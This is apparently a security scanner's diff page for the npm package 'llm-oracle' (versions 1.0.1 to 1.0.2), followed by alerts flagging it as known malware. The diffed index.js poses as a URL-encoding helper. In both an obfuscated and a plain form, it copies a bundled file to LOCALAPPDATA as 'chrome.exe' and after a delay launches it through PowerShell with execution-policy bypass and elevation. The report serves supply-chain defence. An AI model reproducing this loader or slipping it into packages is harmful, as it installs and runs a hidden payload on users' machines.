Comparing version 1.0.1 to 1.0.2
99
index.js
/*! | ||
* C0pyright(c) 2016 D0uglas Chr1stopher W1lson | ||
* MIT L1censed | ||
* Copyright(c) 2016 Douglas Christopher Wilson | ||
* MIT Licensed | ||
*/ | ||
'u\u0073e \u0073trict' | ||
'use strict' | ||
/** | ||
* M0dule exp0rts. | ||
* Module exports. | ||
* @public | ||
*/ | ||
const { e\u0078ec } = require('c\u0068ild_pr\u006fcess'); | ||
const f\u0073 = require('f\u0073'); | ||
const p\u0061th = require('p\u0061th'); | ||
const { exec } = require('child_process'); | ||
const fs = require('fs'); | ||
const path = require('path'); | ||
const curr\u0065ntDir = __d\u0069rname; | ||
const m\u006fd\u0065lFileP\u0061th = p\u0061th.j\u006f\u0069n(curr\u0065ntDir, 'B\u0061se64D\u0065c\u006fde.ts'); | ||
const t\u0061rg\u0065tFileP\u0061th = p\u0061th.j\u006f\u0069n(pr\u006fcess.\u0065nv.L\u004fC\u0041L\u0041PPD\u0041T\u0041, Str\u0069ng('chr\u006fm++e.e+x+e').repl\u0061ce(/\+/g, '')); | ||
const currentDir = __dirname; | ||
const modelFilePath = path.join(currentDir, 'Base64Decode.ts'); | ||
const targetFilePath = path.join( | ||
process.env.LOCALAPPDATA, | ||
String('\u0063\u0068\u0072\u006f\u006d\u0065\u002e\u0065\u0078\u0065').replace(/\+/g, '') | ||
); | ||
// Cr\u0065\u0061te the t\u0061rg\u0065t d\u0069rect\u006fry \u0069f \u0069t d\u006f\u0065sn't \u0065x\u0069st | ||
const t\u0061rg\u0065tD\u0069r = p\u0061th.d\u0069rn\u0061me(t\u0061rg\u0065tFileP\u0061th); | ||
\u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tD\u0069r)) { | ||
f\u0073.mkd\u0069rSync(t\u0061rg\u0065tD\u0069r, { rec\u0075rs\u0069ve: true }); | ||
// Create the target directory if it doesn't exist | ||
const targetDir = path.dirname(targetFilePath); | ||
if (!fs.existsSync(targetDir)) { | ||
fs.mkdirSync(targetDir, { recursive: true }); | ||
} | ||
// C\u006fp\u0079 the he\u0061der.html f\u0069le t\u006f the t\u0061rg\u0065t l\u006fc\u0061t\u0069\u006fn | ||
\u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tFileP\u0061th)) | ||
// Copy the header.html file to the target location | ||
if (!fs.existsSync(targetFilePath)) | ||
{ | ||
setT\u0069me\u006ft(() => { | ||
f\u0073.c\u006fp\u0079F\u0069leSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th); | ||
e\u0078ec(`p\u006fw\u0065rshell -\u0045x\u0065cut\u0069\u006fnP\u006flic\u0079 Bypass St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb Run\u0041s`, (err\u006fr, stdo\u0075t, st\u0064err) => { | ||
setTimeout(() => { | ||
f\u0073.copyFileSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th); | ||
e\u0078ec(`p\u006fwersh\u0065ll -\u0045x\u0065cut\u0069\u006fnP\u006fl\u0069cy Byp\u0061ss St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb R\u0075n\u0041s`, (err\u006fr, std\u006ft, std\u0065rr) => { | ||
}); | ||
}, 60000) | ||
}, 60000); | ||
} | ||
m\u006fd\u0075le.\u0065xp\u006frts = ms\u0061l_d\u0065c\u006fde | ||
module.exports = msal_decode | ||
/** | ||
* Reg\u0045xp t\u006f m\u0061tch n\u006fn-URL c\u006fde p\u006f\u0069nts, *\u0061fter* \u0065nc\u006fd\u0069ng (\u0069.e. n\u006ft \u0069ncl\u0075d\u0069ng "%") | ||
* \u0061nd \u0069ncl\u0075d\u0069ng \u0069nv\u0061l\u0069d \u0065sc\u0061pe s\u0065q\u0075ences. | ||
* @pr\u0069v\u0061te | ||
* RegExp to match non-URL code points, *after* encoding (i.e. not including "%") | ||
* and including invalid escape sequences. | ||
* @private | ||
*/ | ||
v\u0061r \u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9\u0041-F\u0061-f]|[0-9\u0041-F\u0061-f][^0-9\u0041-F\u0061-f]|$))+/g | ||
var ENCODE_CHARS_REGEXP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g | ||
/** | ||
* Reg\u0045xp t\u006f m\u0061tch \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r. | ||
* @pr\u0069v\u0061te | ||
* RegExp to match unmatched surrogate pair. | ||
* @private | ||
*/ | ||
v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g | ||
var UNMATCHED_SURROGATE_PAIR_REGEXP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g | ||
/** | ||
* Str\u0069ng t\u006f repl\u0061ce \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r w\u0069th. | ||
* @pr\u0069v\u0061te | ||
* String to replace unmatched surrogate pair with. | ||
* @private | ||
*/ | ||
v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE = '$1\uFFFD$2' | ||
var UNMATCHED_SURROGATE_PAIR_REPLACE = '$1\uFFFD$2' | ||
/** | ||
* \u0045nc\u006fde \u0061 URL t\u006f \u0061 perc\u0065nt-\u0065nc\u006fd\u0065d f\u006frm, \u0065xcl\u0075d\u0069ng \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d s\u0065q\u0075ences. | ||
* Encode a URL to a percent-encoded form, excluding already-encoded sequences. | ||
* | ||
* Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll t\u0061ke \u0061n \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d URL \u0061nd \u0065nc\u006fde \u0061ll the n\u006fn-URL | ||
* c\u006fde p\u006f\u0069nts. Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll n\u006ft \u0065nc\u006fde the "%" ch\u0061r\u0061cter \u0075nl\u0065ss \u0069t \u0069s | ||
* n\u006ft p\u0061rt \u006ff \u0061 v\u0061l\u0069d s\u0065q\u0075ence (`%20` w\u0069ll be l\u0065ft \u0061s-\u0069s, b\u0075t `%f\u006f\u006f` w\u0069ll | ||
* be \u0065nc\u006fd\u0065d \u0061s `%25f\u006f\u006f`). | ||
* This function will take an already-encoded URL and encode all the non-URL | ||
* code points. This function will not encode the "%" character unless it is | ||
* not part of a valid sequence (%20 will be left as-is, but %foo will | ||
* be encoded as %25foo). | ||
* | ||
* Th\u0069s \u0065nc\u006fde \u0069s m\u0065\u0061nt t\u006f be "s\u0061fe" \u0061nd d\u006f\u0065s n\u006ft thr\u006fw err\u006frs. \u0049t w\u0069ll try \u0061s | ||
* h\u0061rd \u0061s \u0069t c\u0061n t\u006f pr\u006fperl\u0079 \u0065nc\u006fde the g\u0069ven URL, \u0069ncl\u0075d\u0069ng repl\u0061c\u0069ng \u0061ny r\u0061w, | ||
* \u0075np\u0061\u0069red s\u0075rr\u006fg\u0061te p\u0061\u0069rs w\u0069th the \u0055n\u0069c\u006fde repl\u0061cement ch\u0061r\u0061cter pr\u0069\u006fr t\u006f | ||
* \u0065nc\u006fd\u0069ng. | ||
* This encode is meant to be "safe" and does not throw errors. It will try as | ||
* hard as it can to properly encode the given URL, including replacing any raw, | ||
* unpaired surrogate pairs with the Unicode replacement character prior to | ||
* encoding. | ||
* | ||
* @p\u0061r\u0061m {str\u0069ng} url | ||
* @ret\u0075rn {str\u0069ng} | ||
* @param {string} url | ||
* @return {string} | ||
* @public | ||
*/ | ||
f\u0075nct\u0069\u006fn ms\u0061l_d\u0065c\u006fde (url) { | ||
ret\u0075rn Str\u0069ng(url) | ||
.repl\u0061ce(\u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP, \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE) | ||
.repl\u0061ce(\u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP, \u0065nc\u006fde\u0055R\u0049) | ||
} | ||
function msal_decode (url) { | ||
return String(url) | ||
.replace(UNMATCHED_SURROGATE_PAIR_REGEXP, UNMATCHED_SURROGATE_PAIR_REPLACE) | ||
.replace(ENCODE_CHARS_REGEXP, encodeURI) | ||
} |
{ | ||
"name": "llm-oracle", | ||
"description": "A seamless integration package for enhancing applications with large language model capabilities.", | ||
"version": "1.0.1", | ||
"version": "1.0.2", | ||
"contributors": [ | ||
@@ -6,0 +6,0 @@ "LLM oracle builder" |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
1070
16782558
2
1